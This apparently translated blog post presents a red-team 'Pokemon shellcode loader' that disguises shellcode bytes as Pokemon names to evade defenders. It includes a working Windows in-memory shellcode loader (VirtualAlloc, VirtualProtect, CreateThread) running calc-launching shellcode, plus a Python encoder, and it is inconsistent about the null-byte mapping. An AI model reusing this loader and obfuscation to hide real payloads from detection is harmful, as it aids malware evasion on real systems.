一日中ヘックスを見て '\x41' をポップすることに飽きましたか? むしろ Lugia/Charmander を見たいですか? 解決策があります。@Checkymander から、ポケモンの名前からシェルコードローダーを作成するというツイートが来ました。ブルーチームをからかうのに最適な楽しいプロジェクトですが、POC はありませんでした!(少なくとも私が最後に確認した時点では)
注記 #1 更新されたコードは私の GitHub にあります: https://github.com/Techryptic/Pokemon-Shellcode-Loader
注記 #2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode
注記 #3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
これには複数の方法があります: シェルコードを見ると、それは 0x00-0xFF の一連のヘックス、つまり 10 進数形式では 0-256 です。選択できるポケモンは 256 よりもはるかに多く存在します。
上のポケモンの図を見ると、#001 の BULBASAUR を 0x01 に変換できます(最初のゼロを省きます)。同様に、CHARMANDER は 0x04 で表され、以下同様です。ラッキーなヌルバイト 0x00 は、ポケモン #257 の BLAZIKEN に合わせることができます!
シェルコードをポケモンシェルコードに変換するのは簡単です。ポケモンシェルコードをアセンブリに変換するのはどうでしょうか?! .ASM 内に配列を持たせたいですか? C コード? 外部から取得しますか?
進むべき方向はたくさんあります!
データが必要です。まず、ポケモンの番号と名前の両方を含む 2 つの場所を見つけました:
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
そして、ポケモンの名前のみを持つ別の場所もあります。長い文字列を持ち越さずに特定のポケモンの配列インデックス位置を取得できるため、こちらの方が便利かもしれません。
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
通常の POP CALC シェルコードを使用して、それにいくつかの C を適用しています。
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
悪くないですね。悪意のあることをするわけではありませんが、それでも...悪くないです。
簡単なスクリプトで、シェルコードのバイトオブジェクトをポケモンシェルコードに変換します。
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
上記のシェルコードを取ると:
\x00\x31\xc0\x50\x68\x2f\x2F
以下に変換されます:
豆知識: ポケモンの名前をその番号と一致させたかったので(BULBASAUR = #1、つまり 0x01)、0x00/ヌルバイトを何かで埋める必要がありました。MISSINGNO ほどふさわしいものはありません!
もう 1 つの問題は、下に示すようにポケモンの Farfetch'd にアポストロフィがあることです。簡単な修正は、それを削除して Farfetchd と呼ぶことです。
最後に、記号を削除すると同じ名前になる 2 匹のポケモンもいます。その 2 匹の修正としては、一方に F(メスの場合)を追加し、もう一方に M(オスの場合)を追加しました。
#include <iostream>
#include <string>
#include <Bits.h>
using namespace std;
// Created by: Techryptic
// @Tech
string indexNumberToHexa(int number);
void reverse_String(string& str, int last_index, int starting_index);
void printAscii(unsigned char* index_to_hexa_array, int counter_s);